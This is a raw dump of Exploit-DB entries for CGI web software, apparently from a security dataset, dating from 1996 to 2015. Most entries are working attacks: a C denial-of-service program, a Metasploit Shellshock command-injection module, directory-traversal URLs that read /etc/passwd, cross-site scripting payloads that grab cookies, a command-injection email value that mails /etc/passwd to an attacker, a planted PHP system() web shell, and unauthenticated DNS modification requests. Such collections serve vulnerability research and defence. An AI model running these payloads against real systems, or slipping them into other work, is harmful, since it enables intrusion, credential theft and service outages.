deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20071
Description: Mirabilis ICQ 0.99/98.0 a/2000.0 A/99a - Remote Denial of Service
Type: dos
Platform: cgi
Date: 2000-03-10
Author: Charles Chear

Exploit:
// source: https://www.securityfocus.com/bid/1463/info

The guestbook CGI program in ICQ Web Front service for ICQ 2000a, 99b, and others allows remote attackers to cause a denial of service via a URL with a long name parameter.

/* ICQ Web Front DoS */

#include <sys/socket.h> 
#include <stdio.h> 
#include <netinet/in.h>
#include <netdb.h>

void main(int argc, char *argv[]) 
{ 
  int sock;
  struct in_addr addr; 
  struct sockaddr_in sin; 
  struct hostent *he; 
  unsigned long start; 
  unsigned long end; 
  unsigned long counter;  
  
  /* added extra ? to be on the safe side :) */
  char xploitstr1[50]="GET /?????????? HTTP/1.0 \n\n";
  
  
  printf("ICQ Web Front DoS - author: char0hlz/tPG\n");  
  printf("The Poor Gurus' Network [http://www.tpgn.net]\n");

  if (argc<2) 
  { 
    printf("usage: %s <hostname>\n", argv[0]); 
    exit(0); 
  } 
  if ((he=gethostbyname(argv[1])) == NULL) 
  { 
    herror("gethostbyname"); 
    exit(0); 
  }  
    start=inet_addr(argv[1]); 
    counter=ntohl(start); 
    sock=socket(AF_INET,SOCK_STREAM,0); 
    bcopy(he->h_addr,(char *)&sin.sin_addr, he->h_length); 
    sin.sin_family=AF_INET; 
    sin.sin_port=htons(80); 
    if (connect(sock,(struct sockaddr*)&sin,sizeof(sin))!=0) 
    { 
      perror("pr0blemz"); 
    } 
    send(sock,xploitstr1,strlen(xploitstr1),0);
    close(sock);
    
   printf("Done. Refresh the page to see if it worked.\n"); 
}
Exploit-DB #21620
Description: Oddsock Song Requester 2.1 WinAmp Plugin - Denial of Service
Type: dos
Platform: cgi
Date: 2002-07-16
Author: Lucas Lundgren

Exploit:
source: https://www.securityfocus.com/bid/5248/info

A vulnerability has been reported for Oddsock Song Requester 2.1.

The vulnerability occurs when an attacker makes a request to 'request.cgi' using a long value for the 'listpos' parameter. It is possible to cause Song Requester and WinAmp to crash. As this condition may be due to a buffer overflow, code execution should be considered a possibility.

Note: it was reported that the value for the 'psearch' parameter also causes a crash, however this could not be reproduced by SecurityFocus.

http://<musicserver>/request.cgi?listpos=999...999(9x256)
Exploit-DB #39073
Description: Seowon Intech WiMAX SWC-9100 Router - '/cgi-bin/reboot.cgi' Remote Reboot (Denial of Service)
Type: dos
Platform: cgi
Date: 2014-02-03
Author: Josue Rojas

Exploit:
source: https://www.securityfocus.com/bid/65306/info

WiMAX SWC-9100 Mobile Router is prone to a security-bypass vulnerability and a command-injection vulnerability.

Exploiting these issues could allow an attacker to bypass certain security restrictions or execute arbitrary commands in the context of the device. 

http://www.example.com/cgi-bin/reboot.cgi?select_option_value=factory_default&reboot_option=on&action=Apply
http://www.example.com/cgi-bin/reboot.cgi?select_option_value=default_reboot&reboot_option=on&action=Apply
Exploit-DB #19899
Description: UltraBoard 1.6 - Denial of Service
Type: dos
Platform: cgi
Date: 2000-05-05
Author: Juan M. Bello Rivas

Exploit:
source: https://www.securityfocus.com/bid/1175/info

UltraBoard 1.6 (and possibly all 1.x versions and the new beta Ultraboard 2000) are vulnerable to this Denial of Service attack.

A remote user is able to expend all of the available resources of the webserver by using a specially-devised request to the CGI. This request causes a fork, which will then consume the processor time and memory of the server.

http:://target/ultraboard.pl?request=Session=../UltraBoard.pl%00%7c
Exploit-DB #20092
Description: Sean MacGuire Big Brother 1.0/1.3/1.4 - CGI File Creation
Type: local
Platform: cgi
Date: 2001-06-11
Author: xternal

Exploit:
source: https://www.securityfocus.com/bid/1494/info

A vulnerability in Big Brother exists which would allow a user to remotely create CGI scripts which could be requested from the Web Server. These could be used to read files and possibly execute commands on the web server machine. 

./bb 1.2.3.4 "status evil.php3 <?<system(\"cat /etc/passwd\");?>"

will allow viewing of the /etc/passwd upon browsing to http://1.2.3.4/bb/logs/evil.php3.
Exploit-DB #20008
Description: 3R Soft MailStudio 2000 2.0 - Arbitrary File Access
Type: remote
Platform: cgi
Date: 2000-06-09
Author: s0ftpr0ject

Exploit:
source: https://www.securityfocus.com/bid/1335/info
 
MailStudio 2000 is vulnerable to multiple attacks.
 
It is possible for a remote user to gain read access to all files located on the server via the usage of the "/.." string passed to a CGI, thereby compromising the confidentiality of other users email and password, as well as other configuration and password files on the system.
 
It is also possible to set a password for those system user accounts which don't have one in place (ex: operator, gopher etc).
 
There is also a input validation vulnerability in the userreg.cgi. This CGI uses a shell to execute certain commands. Passing any command directly after %0a in the arguments of the CGI will allow a remote user to execute the commands as root.
 
userreg.cgi also has an unchecked which could allow remote attackers to execute arbitrary code as root.

Mail view vulnerability:
mailview.cgi?cmd=view&fldrname=inbox&select=1&html=../../../../../../etc/passwd

userreg.cgi vulnerability:
userreg.cgi?cmd=insert&lang=eng&tnum=3&fld1=test999%0acat</var/spool/mail/login>>/etc/passwd
Exploit-DB #21194
Description: Abe Timmerman - 'zml.cgi' File Disclosure
Type: remote
Platform: cgi
Date: 2001-12-31
Author: blackshell

Exploit:
source: https://www.securityfocus.com/bid/3759/info

zml.cgi is a perl script which can be used to support server side include directives under Apache. It recognizes a simple set of commands, and allows access to cgi parameters and environment variables. It can run on Linux and Unix systems or any other platform with Apache and Perl support.

zml.cgi accepts as a parameter the file to parse for these ssi directives. This parameter is susceptible to the standard ../ directory traversal attack, allowing arbitrary files to be specified. Although the script attempts to append a .zml extension to any file accessed, appending a null byte to the file name parameter is sufficient to evade this restriction.

The author of the script has reported that this vulnerability does not exist in any published version of ZML, and that the file parameter has never been used by ZML. It is possible that this vulnerability exists in a modified version of ZML published by an unknown third party. If more details become available, this vulnerability will be updated.

http://www.blackshell.com/cgi-bin/zml.cgi?file=../../../../../../../../../etc/motd%00
Exploit-DB #26768
Description: ACME Perl-Cal 2.99 - Cal_make.pl Cross-Site Scripting
Type: remote
Platform: cgi
Date: 2005-12-08
Author: $um$id

Exploit:
source: https://www.securityfocus.com/bid/15779/info

Perl-Cal is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/cgi-bin/perlcal/cal_make.pl
?p0=%3Cscript%3Ewindow.open('http://www.example.com');%3Cscript%3E<http://www.example.com%27%29;%3Cscript%3E>

http://www.example.com/cgi-bin/perlcal/cal_make.pl
?p0=%3Cscript%3Ealert(document.cookie);</script>
Exploit-DB #23582
Description: Acme thttpd 1.9/2.0.x - CGI Test Script Cross-Site Scripting
Type: remote
Platform: cgi
Date: 2004-01-22
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9474/info

thttpd is prone to a cross-site scripting vulnerability in the CGI test script. This could permit a remote attacker to create a malicious link to the web server that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks.

It should be noted that FREESCO includes an embedded version of thttpd and is also prone to this vulnerability. 

http://www.example.com/cgi/example?test=<script>alert('xss')</script>
Exploit-DB #38849
Description: Advantech Switch - 'Shellshock' Bash Environment Variable Command Injection (Metasploit)
Type: remote
Platform: cgi
Date: 2015-12-02
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Advantech Switch Bash Environment Variable Code Injection (Shellshock)',
      'Description' => %q{
        This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
        handles external environment variables. This module targets the 'ping.sh' CGI
        script, acessible through the Boa web server on Advantech switches. This module
        was tested against firmware version 1322_D1.98.
      },
      'Author' => 'hdm',
      'References' => [
        ['CVE', '2014-6271'],
        ['CWE', '94'],
        ['OSVDB', '112004'],
        ['EDB', '34765'],
        ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities'],
        ['URL', 'https://access.redhat.com/articles/1200223'],
        ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
      ],
      'Privileged' => false,
      'Arch' => ARCH_CMD,
      'Platform' => 'unix',
      'Payload' =>
        {
          'Space' => 1024,
          'BadChars' => "\x00\x0A\x0D",
          'DisableNops' => true,
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'openssl generic'
            }
        },
      'Targets' =>  [[ 'Automatic Targeting', { 'auto' => true } ]],
      'DefaultTarget' => 0,
      'License' => MSF_LICENSE,
      'DisclosureDate' => 'Dec 01 2015'
    ))
    register_options([
      Opt::RPORT(80)
    ], self.class)
  end

  #
  # CVE-2014-6271
  #
  def cve_2014_6271(cmd)
    %{() { :;}; $(#{cmd}) & }
  end

  #
  # Check credentials
  #
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/cgi-bin/ping.sh'
    )
    if !res
      vprint_error("#{peer} - No response from host")
      return Exploit::CheckCode::Unknown
    elsif res.headers['Server'] =~ /Boa\/(.*)/
      vprint_status("#{peer} - Found Boa version #{$1}")
    else
      print_status("#{peer} - Target is not a Boa web server")
      return Exploit::CheckCode::Safe
    end

    if res.body.to_s.index('127.0.0.1 ping statistics')
      return  Exploit::CheckCode::Detected
    else
      vprint_error("#{peer} - Target does not appear to be an Advantech switch")
      return Expoit::CheckCode::Safe
    end
  end

  #
  # Exploit
  #
  def exploit
    cmd = cve_2014_6271(payload.encoded)
    vprint_status("#{peer} - Trying to run command '#{cmd}'")
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/cgi-bin/ping.sh',
      'agent'  => cmd
    )
  end

end
Exploit-DB #21249
Description: Agora.CGI 3/4 - Debug Mode Full Path Disclosure
Type: remote
Platform: cgi
Date: 2002-01-28
Author: superpetz

Exploit:
source: https://www.securityfocus.com/bid/3976/info

Agora.cgi is a freely available, open source shopping cart system. 

When debug mode is enabled, it is possible for a remote attacker to display the absolute path to the directory that the agora.cgi script is stored in. This is possible by making a web request for a non-existent .html file.

The remote attacker may potentially use the disclosed information to aid in further "intelligent" attacks against the host running the vulnerable software.

The following example is sufficient to reproduce this issue:

http://agoracgistorehost/cgi-bin/store/agora.cgi?page=pretendpage.html

where pretendpage.html is a non-existent .html file.
Exploit-DB #20238
Description: Alabanza Control Panel 3.0 - Domain Modification
Type: remote
Platform: cgi
Date: 2000-09-24
Author: Weihan Leow

Exploit:
source: https://www.securityfocus.com/bid/1710/info

Alabanza is a web hosting provider that offers automated solutions for virtual domain hosting. A vulnerability exists in the software implemented for automated domain administration.

Modification, deletion, and addition of domains and MX and CNAME records associated with Alabanza hosts and resellers does not require valid authentication and can be conducted by any remote user.

Access to the Control Panel which handles administrative controls for domains associated with Alabanza does not require a username and password if specially crafted URLs are requested (see the exploit tab for further details).

To add a domain to the name server (using example.com as an example and 'target' being an Alabanza host/reseller domain):

http://target/cp/rac/nsManager.cgi?Domain=<example.com>&IP=<IP address>&OP=add&Language=english&Submit=Confirm

Accessing the following URL:

http://www.example.com/cp/rac/nsManager.cgi?Domain=HAHAHA.org&IP=127.0.0.1&OP=add&Language=english&Submit=Confirm

will display a page stating:

"Name Server Manager
Domain example.com will be added within 1 hour!
Your domain example.com <IP address> will be setup within 1 hour!

Please click here to go back."

From here modification, deletion, and addition of domains can be made, as well as changing the default MX or CNAME records.
Exploit-DB #22542
Description: Alt-N WebAdmin 2.0.x - Remote File Disclosure
Type: remote
Platform: cgi
Date: 2003-04-25
Author: david@kamborio.net

Exploit:
source: https://www.securityfocus.com/bid/7439/info

Reportedly, remote users can discover the installation directory of certain software on the underlying system by submitting an HTTP request to the WebAdmin server. This could allow an attacker to obtain sensitive information.

http://www.example.com/WebAdmin.dll?session=X&Program=MDaemon&Directory:Name=C:\MDaemon\App&File:Name=MDAEMON.INI&View=EditFile
Exploit-DB #22541
Description: Alt-N WebAdmin 2.0.x - Remote File Viewing
Type: remote
Platform: cgi
Date: 2003-04-25
Author: david@kamborio.net

Exploit:
source: https://www.securityfocus.com/bid/7438/info

Alt-N WebAdmin allows a remote user to access files that they should not be able to access. The remote user can submit an HTTP request that will return the contents of any webserver-readable file on the system.

NOTE: The user must have administrative privileges in WebAdmin to access these files.

http://server/WebAdmin.dll?Session=X&Program=MDaemon&Directory:Name=C:\WINNT&File:Name=WIN.INI&View=ViewFile
Exploit-DB #20714
Description: anaconda clipper 3.3 - Directory Traversal
Type: remote
Platform: cgi
Date: 2001-03-27
Author: UkR hacking team

Exploit:
source: https://www.securityfocus.com/bid/2512/info

Clipper is a headline-gathering tool from Anaconda! Partners which, in certain versions, is vulnerable to directory traversal attacks.

By including '/../' sequences in requested URLs, an attacker can cause the retrieval of arbitrary files, compromising the privacy of user data and potentially obtaining information which could be used to further compromise the host's security. 

http://www.target.com/cgi-bin/anacondaclip.pl?template=../../../../../../../../../../../../../../../../../../etc/passwd
Exploit-DB #20611
Description: anaconda Foundation 1.4 < 1.9 - Directory Traversal
Type: remote
Platform: cgi
Date: 2000-10-13
Author: pestilence

Exploit:
source: https://www.securityfocus.com/bid/2338/info

A vulnerability exists in Anaconda Foundation Directory which allows a remote user to traverse the filesystem of a target computer. This may lead to the disclosure of file and directory contents.

Arbitrary files can be accessed through the use of double dot '../' techniques and by appending a null byte followed by '.html' to the extension of the filename in question. The file 'apexec.pl' in conjunction with the variable 'template' are subject to this directory traversal vulnerability.

Update: It was originally believed that this issue does not affect Anaconda Foundation Directory versions 1.5 and subsequent. New information suggests that newer versions of the script are still vulnerable to this issue. 

http://www.example.com/cgi-bin/apexec.pl?etype=odp&template=../../../../../../../../../directory/filename.ext%00.html&passurl=/category/

http://www.example.com/cgi-bin/apexec.pl?template=/etc/passwd%%0000.html
Exploit-DB #20435
Description: Apache 0.8.x/1.0.x / NCSA HTTPd 1.x - 'test-cgi' Directory Listing
Type: remote
Platform: cgi
Date: 1996-04-01
Author: @stake

Exploit:
source: https://www.securityfocus.com/bid/2003/info

NCSA HTTPd and comes with a CGI sample shell script, test-cgi, located by default in /cgi-bin. This script does not properly enclose an "ECHO" command in quotes, and as a result "shell expansion" of the * character can occur under some configurations. This allows a remote attacker to obtain file listings, by passing *, /*, /usr/* etc., as variables. The ECHO command expands the * to give a directory listing of the specified directory. This could be used to gain information to facilitate future attacks. This is identical to a problem with another sample script, nph-test-cgi. See references. 

http://target/cgi-bin/test-cgi?/*
http://target/cgi-bin/test-cgi?*
Exploit-DB #22312
Description: Apple QuickTime/Darwin Streaming Server 4.1.x - 'parse_xml.cgi' File Disclosure
Type: remote
Platform: cgi
Date: 2003-02-28
Author: Joe Testa

Exploit:
source: https://www.securityfocus.com/bid/6990/info

A file retrieval vulnerability has been reported for QuickTime/Darwin Streaming Server. The vulnerability exists due to insufficient sanitization of some parameters given to the parse_xml.cgi script. Information obtained in this manner may be used by an attacker to launch more organinzed attacks against a vulnerable system.

This vulnerability was tested on SS for Microsoft Windows systems. 

http://localhost:1220/parse_xml.cgi?filename=.../qtusers
Exploit-DB #20277
Description: Armada Design Master Index 1.0 - Directory Traversal
Type: remote
Platform: cgi
Date: 2000-07-18
Author: pestilence

Exploit:
source: https://www.securityfocus.com/bid/1772/info

Master Index is a commercially supported search engine. Certain versions of this software ship with a path traversal vulnerability. This is to say that a remote user may 'back out' (.../) of the web root directory and view/download any file which the user who is running Master Index has permission to read.

Example: 

http://www.target.com/cgi-bin/search/search.cgi?keys=*&prc=any&catigory=../../../../../.. ../../etc
Exploit-DB #22311
Description: Axis Communications Video Server 2.x - 'Command.cgi' File Creation
Type: remote
Platform: cgi
Date: 2003-02-28
Author: Martin Eiszner

Exploit:
source: https://www.securityfocus.com/bid/6987/info

It has been reported that the Axis Video Servers do not properly handle input to the 'command.cgi' script. Because of this, an attacker may be able to create arbitrary files that would result in a denial of service, or potentially command execution. 

http://www.example.com/axis-cgi/buffer/command.cgi?buffername=X&prealarm=1&postalarm=1&do=start&uri=/jpg/quad.jpg&format=[bad input]

http://www.example.com/axis-cgi/buffer/command.cgi?whatever paramsbuffername=[relative path to directory]format=[relative path to arbitrary file name]
Exploit-DB #23312
Description: BEA Tuxedo 6/7/8 and WebLogic Enterprise 4/5 - Input Validation
Type: remote
Platform: cgi
Date: 2003-10-30
Author: Corsaire Limited

Exploit:
source: https://www.securityfocus.com/bid/8931/info

A vulnerability has reported to exist in BEA Tuxedo and WebLogic Enterprise due to Tuxedo administration console. The script is reported to accept various initialization arguments such as INIFILE that are not properly sanitized for user-supplied input. This issue may allow an attacker to carry out attacks such as denial of service, file disclosure, and cross-site scripting.

An attacker may be able to determine the existence of a file outside the web server root by supplying passing various path values for INIFILE.

A denial of service condition could be caused in the software by providing a device name such as CON, AUX, COM1, COM2 instead of a valid file name as one of the arguments for INIFILE. This may cause the service to crash or hang.

A cross-site scripting vulnerability has also been reported to exist in the software due to insufficient santization of user-supplied input to INIFILE. This problem presents itself when an invalid file name is supplied as an argument for INIFILE. This vulnerability could be exploited to steal cookie-based credentials. Other attacks are possible as well. 

http://www.example.com/udataobj/webgui/cgi-bin/tuxadm.exe?INIFILE=<script>alert('XSS')</script>
Exploit-DB #20524
Description: Brian Stanback bsguest.cgi 1.0 - Remote Command Execution
Type: remote
Platform: cgi
Date: 2000-12-20
Author: rivendell_team

Exploit:
source: https://www.securityfocus.com/bid/2159/info

An input validation vulnerability exists in Brian Stanback's bsguest.cgi, a script designed to coordinate guestbook submissions from website visitors.

The script fails to properly filter ';' characters from the user-supplied email address collected by the script.

As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server.


Attacker enters his email address as <whitehatjoe@hotmail.com>

'hacker@example.com;/usr/sbin/sendmail hacker@example.com < /etc/passwd',

server mails a confirmation letter along with the passwd file to the attacker.
Exploit-DB #20525
Description: Brian Stanback bslist.cgi 1.0 - Remote Command Execution
Type: remote
Platform: cgi
Date: 2000-12-20
Author: rivendell_team

Exploit:
source: https://www.securityfocus.com/bid/2160/info

An input validation vulnerability exists in Brian Stanback's bslist.cgi, a script designed to coordinate mailing lists.

The script fails to properly filter ';' characters from the user-supplied email addresses collected by the script.

As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server. 

This can be exploited by signing up for the mailing list with the email address of

'hacker@example.com;/usr/sbin/sendmail hacker@example.com < /etc/passwd'
Exploit-DB #20633
Description: Brightstation Muscat 1.0 - Full Path Disclosure
Type: remote
Platform: cgi
Date: 2001-02-12
Author: cuctema

Exploit:
source: https://www.securityfocus.com/bid/2374/info

Making an invalid request to a machine running Brightstation Muscat, will disclose the physical path to the root directory. 

http://target/cgi-bin/empower?DB=UkRteamHole
http://target/cgi-bin/empower?DB=UkRteamHole
Exploit-DB #20280
Description: Bytes interactive Web shopper 1.0/2.0 - Directory Traversal
Type: remote
Platform: cgi
Date: 2000-10-08
Author: f0bic

Exploit:
source: https://www.securityfocus.com/bid/1776/info

Bytes Interactive Web Shopper is a XML based shopping cart application. 

The "newpage" variable does not properly check for insecure relative paths such as the double dot "..". 

The following URL request:

http://target/cgi-bin/shopper.cgi?newpage=../../../path/filename.ext

will yield the file specified.

Successful exploitation could lead to a remote intruder gaining read access to any known file.